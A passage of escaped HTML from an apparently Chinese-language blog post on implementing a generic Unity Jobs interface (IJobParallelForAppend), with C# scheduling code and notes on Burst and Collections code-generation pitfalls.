class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einnerloopBatchCount\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobHandle\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edependsOn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobHandle\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eunmanaged\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estruct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIJobParallelForAppend\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCapacity\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLength\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSetCapacity\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLength\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eParallelForAppendProducer\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eJobWrapper\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eAppendBuffer\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetUnsafeList\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobData\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escheduleParams\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobsUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eJobScheduleParameters\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUnsafeUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAddressOf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetReflectionData\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edependsOn\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eScheduleMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eParallel\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobsUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eScheduleParallelFor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escheduleParams\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einnerloopBatchCount\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eunsafe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRunByRef\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eNativeList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eunmanaged\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estruct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIJobParallelForAppend\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCapacity\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLength\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSetCapacity\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLength\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eParallelForAppendProducer\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eJobWrapper\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eAppendBuffer\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetUnsafeList\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobData\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escheduleParams\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobsUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eJobScheduleParameters\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUnsafeUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAddressOf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetReflectionData\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobHandle\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eScheduleMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eRun\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobsUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eScheduleParallelFor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escheduleParams\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2 id=\"避坑指南\"\u003e避坑指南\u003ca class=\"headerlink\" href=\"#避坑指南\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e写泛型 Job 接口有不少坑。\u003c/p\u003e\n\u003ch3 id=\"JobProducer-类型参数顺序\"\u003eJobProducer 类型参数顺序\u003ca class=\"headerlink\" href=\"#JobProducer-类型参数顺序\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e泛型 Job 接口,对应的 JobProducer 的类型参数顺序必须是\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003eTJob\u003c/code\u003e:具体的 Job 类型。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e...T\u003c/code\u003e:\u003ccode\u003eTJob\u003c/code\u003e 实现的 Job 接口的类型参数。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e否则不兼容 Burst Compiler。这个在 Burst 源码 \u003ccode\u003eRuntime/Editor/BurstReflection.cs\u003c/code\u003e 里的 \u003ccode\u003eScanJobType\u003c/code\u003e 方法里写死了。\u003c/p\u003e\n\u003cp\u003e比如 \u003ccode\u003eIJobParallelForAppend\u0026lt;TValue\u0026gt;\u003c/code\u003e 对应 \u003ccode\u003eParallelForAppendProducer\u0026lt;TJob, TValue\u0026gt;\u003c/code\u003e。\u003c/p\u003e\n\u003ch3 id=\"EarlyJobInit-类型参数数量\"\u003eEarlyJobInit 类型参数数量\u003ca class=\"headerlink\" href=\"#EarlyJobInit-类型参数数量\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e这个太坑了。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eWhen the Collections package is included in the project, Unity generates code to call EarlyJobInit at startup. This allows Burst compiled code to schedule jobs because the reflection part of initialization, which is not compatible with burst compiler constraints, has already happened in EarlyJobInit. \u003csup id=\"fnref:2\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:2\"\u003e2\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e生成的代码:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"na\"\u003e[Unity.Jobs.DOTSCompilerGenerated]\u003c/span\u003e\n\u003cspan class=\"k\"\u003einternal\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003e__JobReflectionRegistrationOutput__2275960884\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eCreateJobReflectionData\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etry\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIJobParallelForAppendExtensions\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eEarlyJobInit\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTestJob\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecatch\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eException\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEarlyInitHelpers\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eJobReflectionDataCreationFailed\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eex\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"na\"\u003e[InitializeOnLoadMethod]\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eEarlyInit\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCreateJobReflectionData\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e它调用 \u003ccode\u003eEarlyJobInit\u003c/code\u003e 时只给了一个 \u003ccode\u003eTJob\u003c/code\u003e 类型参数。如果我们声明的是 \u003ccode\u003eEarlyJobInit\u0026lt;TJob, TValue\u0026gt;\u003c/code\u003e 就会报错。这个在 Collections 源码 \u003ccode\u003eUnity.Collections.CodeGen/JobReflectionDataPostProcessor.cs\u003c/code\u003e 的 \u003ccode\u003eGenerateCalls\u003c/code\u003e 方法里写死了。。。\u003c/p\u003e\n\u003cdiv class=\"footnote\"\u003e\n\u003chr /\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003e\u003ca href=\"https://docs.unity3d.com/Packages/com.unity.collections@2.4/changelog/CHANGELOG.html#changed-10\"\u003ehttps://docs.unity3d.com/Packages/com.unity.collections@2.4/changelog/CHANGELOG.html#changed-10\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:1\" title=\"Jump back to footnote 1 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003e\u003ca href=\"https://docs.unity3d.com/Packages/com.unity.collections@2.4/api/Unity.Jobs.IJobFilterExtensions.html\"\u003ehttps://docs.unity3d.com/Packages/com.unity.collections@2.4/api/Unity.Jobs.IJobFilterExtensions.html\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:2\" title=\"Jump back to footnote 2 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\u003chr 